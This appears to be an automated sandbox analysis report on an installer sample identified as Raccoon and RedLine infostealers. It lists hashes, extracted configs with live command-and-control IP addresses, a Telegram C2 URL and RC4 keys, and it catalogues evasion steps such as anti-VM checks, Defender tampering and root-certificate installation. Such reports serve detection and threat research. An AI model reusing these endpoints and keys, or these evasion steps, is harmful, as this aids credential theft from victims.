raccoon | 1cd649ea4273fd977b6a350bfe8f3b62f1d0aee1408b9966aa3d6ad39ba5af6a

Target

Setup (23).exe
Size

631KB
MD5

cb927513ff8ebff4dd52a47f7e42f934
SHA1

0de47c02a8adc4940a6c18621b4e4a619641d029
SHA256

fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
SHA512

988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c

Score

10^/10

raccoon redline 1 10c753321b3ff323727f510579572aa4c5ea00cb 31.08 norman2 spnewportspectr discovery evasion infostealer spyware stealer themida trojan

Malware Config

Extracted

Family

raccoon

Botnet

10c753321b3ff323727f510579572aa4c5ea00cb

Attributes

url4cnc
https://telete.in/bimboDinotrex

rc4.plain

1
$Z2s`ten\@bE9vzR

rc4.plain

1
d4798f7deadf1fee954e34332257595c

Extracted

Family

redline

Botnet

31.08

95.181.152.47:15089

Extracted

Family

redline

Botnet

NORMAN2

45.14.49.184:27587

Extracted

Family

redline

Botnet

37.0.8.88:44263

Extracted

Family

redline

Botnet

spnewportspectr

135.148.139.222:1594

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3456	3720	rundll32.exe	116

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 36 IoCs

resource	yara_rule
behavioral31/memory/860-194-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral31/memory/860-195-0x000000000041C6A6-mapping.dmp	family_redline
behavioral31/memory/796-197-0x000000000041C5CA-mapping.dmp	family_redline
behavioral31/memory/796-196-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral31/memory/1696-198-0x0000000000400000-0x000000000044A000-memory.dmp	family_redline
behavioral31/memory/1696-199-0x000000000041C5BE-mapping.dmp	family_redline
behavioral31/memory/2384-201-0x000000000041C5CA-mapping.dmp	family_redline
behavioral31/memory/860-202-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral31/memory/1696-206-0x0000000000400000-0x000000000044A000-memory.dmp	family_redline
behavioral31/memory/796-204-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral31/memory/1868-213-0x000000000041C5EE-mapping.dmp	family_redline
behavioral31/memory/1868-212-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral31/memory/1044-219-0x000000000041C5CA-mapping.dmp	family_redline
behavioral31/memory/2212-217-0x000000000041C6A6-mapping.dmp	family_redline
behavioral31/memory/2832-216-0x000000000041C5BE-mapping.dmp	family_redline
behavioral31/memory/1868-224-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral31/memory/2160-234-0x000000000041C5BE-mapping.dmp	family_redline
behavioral31/memory/2008-232-0x000000000041C6A6-mapping.dmp	family_redline
behavioral31/memory/2688-245-0x000000000041C5CA-mapping.dmp	family_redline
behavioral31/memory/2676-244-0x000000000041C6A6-mapping.dmp	family_redline
behavioral31/memory/2568-243-0x000000000041C5BE-mapping.dmp	family_redline
behavioral31/memory/1816-251-0x000000000041C5EE-mapping.dmp	family_redline
behavioral31/memory/2544-255-0x000000000041C6A6-mapping.dmp	family_redline
behavioral31/memory/2576-257-0x000000000041C5CA-mapping.dmp	family_redline
behavioral31/memory/3268-261-0x000000000041C5EE-mapping.dmp	family_redline
behavioral31/memory/3364-265-0x000000000041C6A6-mapping.dmp	family_redline
behavioral31/memory/3428-270-0x000000000041C5CA-mapping.dmp	family_redline
behavioral31/memory/3388-269-0x000000000041C5BE-mapping.dmp	family_redline
behavioral31/memory/3912-282-0x000000000041C5CA-mapping.dmp	family_redline
behavioral31/memory/3920-283-0x000000000041C5BE-mapping.dmp	family_redline
behavioral31/memory/4032-285-0x000000000041C5EE-mapping.dmp	family_redline
behavioral31/memory/1164-289-0x000000000041C6A6-mapping.dmp	family_redline
behavioral31/memory/3208-293-0x000000000041C5CA-mapping.dmp	family_redline
behavioral31/memory/3228-295-0x000000000041C5BE-mapping.dmp	family_redline
behavioral31/memory/3380-297-0x000000000041C5EE-mapping.dmp	family_redline
behavioral31/memory/3540-304-0x000000000041C6A6-mapping.dmp	family_redline

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Downloads MZ/PE file

Executes dropped EXE 25 IoCs

pid	Process
912	BId45dG6Le0J4u06BXMdwhCR.exe
1344	VvsmuBzVkF4TxH02dDqTO4Jh.exe
836	7DayJy27QAwqg71nswsiYAPs.exe
968	HLQhcpaaQwaE1JzwJIsESVaf.exe
436	UXX8T9lWxW1XQlRN0bdt1kt2.exe
1532	da65mmlD3HPDm7_nzyyAvXCo.exe
2024	ci1LkzGjtk1ql_cPHyoRvCsR.exe
1324	iqUrT13rCcCDBIvqbMh7mo2F.exe
1972	keND9O1lkTVoivgzClLqquVD.exe
1956	7UnzbMxhtYZuzAplsGhUciSw.exe
904	KsTJC2JMMK5ZmjbfkEsyYCbZ.exe
1176	bhQhrafoFEtidIZblKt90bck.exe
832	gYulYDtqrwthN7a_GYQ1KV1Q.exe
2040	oveWnbot0vxP1Umv5dEbqYBR.exe
1652	xuzTeljIahrH0DigaXte0fSc.exe
1768	r9XwKd07yrWZUcC3fYTW1vvm.exe
112	mTDgX7HRVgkJZR_IW5JDpqsF.exe
1060	ZdMjbOUMbRRJU3UJyff7Fnpv.exe
2072	Iyd7GPZwsupk6Uw0RXykkx3D.exe
2164	j154lofyqJbDxV2cVyD4iF3f.exe
2148	yUpnK8HgJdqjK_MmA9bVW0Ke.exe
2364	cmd.exe
2396	cutm3.exe
2528	md8_8eus.exe
2856	mTDgX7HRVgkJZR_IW5JDpqsF.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	keND9O1lkTVoivgzClLqquVD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	keND9O1lkTVoivgzClLqquVD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	da65mmlD3HPDm7_nzyyAvXCo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	da65mmlD3HPDm7_nzyyAvXCo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	gYulYDtqrwthN7a_GYQ1KV1Q.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	gYulYDtqrwthN7a_GYQ1KV1Q.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Control Panel\International\Geo\Nation	Setup (23).exe

Loads dropped DLL 34 IoCs

pid	Process
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Setup (23).exe
1208	Process not Found
1208	Process not Found
1208	Process not Found
1208	Process not Found
1208	Process not Found
1208	Process not Found
1208	Process not Found
1208	Process not Found
1208	Process not Found
1208	Process not Found
1208	Process not Found
1208	Process not Found
1208	Process not Found
2164	j154lofyqJbDxV2cVyD4iF3f.exe
2164	j154lofyqJbDxV2cVyD4iF3f.exe
2164	j154lofyqJbDxV2cVyD4iF3f.exe
2164	j154lofyqJbDxV2cVyD4iF3f.exe
1768	r9XwKd07yrWZUcC3fYTW1vvm.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 9 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral31/files/0x000300000001318b-94.dat	themida
behavioral31/files/0x000300000001318e-85.dat	themida
behavioral31/files/0x000300000001318e-98.dat	themida
behavioral31/files/0x0003000000013197-95.dat	themida
behavioral31/files/0x000300000001318b-119.dat	themida
behavioral31/files/0x0003000000013197-105.dat	themida
behavioral31/memory/832-168-0x0000000000130000-0x0000000000131000-memory.dmp	themida
behavioral31/memory/1972-180-0x0000000000BC0000-0x0000000000BC1000-memory.dmp	themida
behavioral31/memory/1532-184-0x0000000000FB0000-0x0000000000FB1000-memory.dmp	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	gYulYDtqrwthN7a_GYQ1KV1Q.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	da65mmlD3HPDm7_nzyyAvXCo.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	keND9O1lkTVoivgzClLqquVD.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ipinfo.io
24	ipinfo.io
111	ip-api.com
156	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
832	gYulYDtqrwthN7a_GYQ1KV1Q.exe
1532	da65mmlD3HPDm7_nzyyAvXCo.exe
1972	keND9O1lkTVoivgzClLqquVD.exe

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cutm3.exe	j154lofyqJbDxV2cVyD4iF3f.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	j154lofyqJbDxV2cVyD4iF3f.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	j154lofyqJbDxV2cVyD4iF3f.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	j154lofyqJbDxV2cVyD4iF3f.exe
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	bhQhrafoFEtidIZblKt90bck.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	bhQhrafoFEtidIZblKt90bck.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst001.exe	j154lofyqJbDxV2cVyD4iF3f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
3004	1060	WerFault.exe	53
6028	4136	WerFault.exe	183
15692	3240	WerFault.exe	791

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2708	schtasks.exe
2780	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4388	timeout.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
5460	taskkill.exe
7276	taskkill.exe
8568	taskkill.exe

Modifies system certificate store 2 TTPs 10 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	Setup (23).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	Setup (23).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	Setup (23).exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\6252DC40F71143A22FDE9EF7348E064251B18118	bhQhrafoFEtidIZblKt90bck.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	bhQhrafoFEtidIZblKt90bck.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	Setup (23).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	Setup (23).exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\6252DC40F71143A22FDE9EF7348E064251B18118\Blob = 0f00000001000000140000001e427a3639cce4c27e94b1777964ca289a722cad09000000010000003e000000303c06082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030806082b060105050703091400000001000000140000006daa9b0987c4d0d422ed4007374d19f191ffded31d000000010000001000000096f98b6e79a74810ce7d398a82f977780b000000010000000e000000430065007200740075006d0000000300000001000000140000006252dc40f71143a22fde9ef7348e064251b181182000000001000000100300003082030c308201f4a0030201020203010020300d06092a864886f70d0101050500303e310b300906035504061302504c311b3019060355040a1312556e697a65746f2053702e207a206f2e6f2e311230100603550403130943657274756d204341301e170d3032303631313130343633395a170d3237303631313130343633395a303e310b300906035504061302504c311b3019060355040a1312556e697a65746f2053702e207a206f2e6f2e311230100603550403130943657274756d20434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ceb1c12ed34f7ccd25ce183e4fc48c6f806a73c85b51f89bd2dcbb005cb1a0fc7503ee81f088ee2352e9e615338dac2d09c576f92b398089e4974b90a5a878f873437ba461b0d858cce16c667e9cf3095e556384d5a8eff3b12e3068b3c43cd8ac6e8d995a904e34dc369a8f818850b76d964209f3d795830d414bb06a6bf8fc0f7e629f67c4ed265f10260f084ff0a45728ce8fb8ed45f66eee255daa6e39bee4932fd947a072ebfaa65bafca533fe20ec69656116ef7e966a926d87f9553ed0a8588ba4f29a5428c5eb6fc852000aa680ba11a85019cc446638288b622b1eefeaa46597ecf352cd5b6da5df748331454b6ebd96fcecd88d6ab1bda963b1d590203010001a3133011300f0603551d130101ff040530030101ff300d06092a864886f70d01010505000382010100b88dceefe714bacfeeb044926cb4393ea2846eadb82177d2d4778287e6204181eee2f811b763d11737be1976241c041a4ceb3daa676f2dd4cdfe653170c51ba6020aba607b6d58c29a49fe63320b6be33ac0acab3bb0e8d309518c1083c634e0c52be01ab66014276c32778cbcb27298cfcdcc3fb9c8244214d657fce62643a91de58090ce0354283ef73fd3f84ded6a0a3a93139b3b142313639c3fd1872779e54c51e301ad855d1a3bb1d57310a4d3f2bc6e64f55a5690a8c70e4c740f2e713bf7c847f4696f15f2115e831e9c7c52aefd02da12a8596718dbbc70dd9bb169ed80ce8940486a0e35ca29661521942ce8602a9b854a40f36b8a24ec06162c73	bhQhrafoFEtidIZblKt90bck.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c190000000100000010000000a823b4a20180beb460cab955c24d7e21200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	bhQhrafoFEtidIZblKt90bck.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\6252DC40F71143A22FDE9EF7348E064251B18118\Blob = 1900000001000000100000000b6cd9778e41ad67fd6be0a6903710440300000001000000140000006252dc40f71143a22fde9ef7348e064251b181180b000000010000000e000000430065007200740075006d0000001d000000010000001000000096f98b6e79a74810ce7d398a82f977781400000001000000140000006daa9b0987c4d0d422ed4007374d19f191ffded309000000010000003e000000303c06082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030806082b060105050703090f00000001000000140000001e427a3639cce4c27e94b1777964ca289a722cad2000000001000000100300003082030c308201f4a0030201020203010020300d06092a864886f70d0101050500303e310b300906035504061302504c311b3019060355040a1312556e697a65746f2053702e207a206f2e6f2e311230100603550403130943657274756d204341301e170d3032303631313130343633395a170d3237303631313130343633395a303e310b300906035504061302504c311b3019060355040a1312556e697a65746f2053702e207a206f2e6f2e311230100603550403130943657274756d20434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ceb1c12ed34f7ccd25ce183e4fc48c6f806a73c85b51f89bd2dcbb005cb1a0fc7503ee81f088ee2352e9e615338dac2d09c576f92b398089e4974b90a5a878f873437ba461b0d858cce16c667e9cf3095e556384d5a8eff3b12e3068b3c43cd8ac6e8d995a904e34dc369a8f818850b76d964209f3d795830d414bb06a6bf8fc0f7e629f67c4ed265f10260f084ff0a45728ce8fb8ed45f66eee255daa6e39bee4932fd947a072ebfaa65bafca533fe20ec69656116ef7e966a926d87f9553ed0a8588ba4f29a5428c5eb6fc852000aa680ba11a85019cc446638288b622b1eefeaa46597ecf352cd5b6da5df748331454b6ebd96fcecd88d6ab1bda963b1d590203010001a3133011300f0603551d130101ff040530030101ff300d06092a864886f70d01010505000382010100b88dceefe714bacfeeb044926cb4393ea2846eadb82177d2d4778287e6204181eee2f811b763d11737be1976241c041a4ceb3daa676f2dd4cdfe653170c51ba6020aba607b6d58c29a49fe63320b6be33ac0acab3bb0e8d309518c1083c634e0c52be01ab66014276c32778cbcb27298cfcdcc3fb9c8244214d657fce62643a91de58090ce0354283ef73fd3f84ded6a0a3a93139b3b142313639c3fd1872779e54c51e301ad855d1a3bb1d57310a4d3f2bc6e64f55a5690a8c70e4c740f2e713bf7c847f4696f15f2115e831e9c7c52aefd02da12a8596718dbbc70dd9bb169ed80ce8940486a0e35ca29661521942ce8602a9b854a40f36b8a24ec06162c73	bhQhrafoFEtidIZblKt90bck.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1208	Setup (23).exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	912	BId45dG6Le0J4u06BXMdwhCR.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1208 wrote to memory of 1344	1208	Setup (23).exe	34
PID 1208 wrote to memory of 1344	1208	Setup (23).exe	34
PID 1208 wrote to memory of 1344	1208	Setup (23).exe	34
PID 1208 wrote to memory of 1344	1208	Setup (23).exe	34
PID 1208 wrote to memory of 836	1208	Setup (23).exe	35
PID 1208 wrote to memory of 836	1208	Setup (23).exe	35
PID 1208 wrote to memory of 836	1208	Setup (23).exe	35
PID 1208 wrote to memory of 836	1208	Setup (23).exe	35
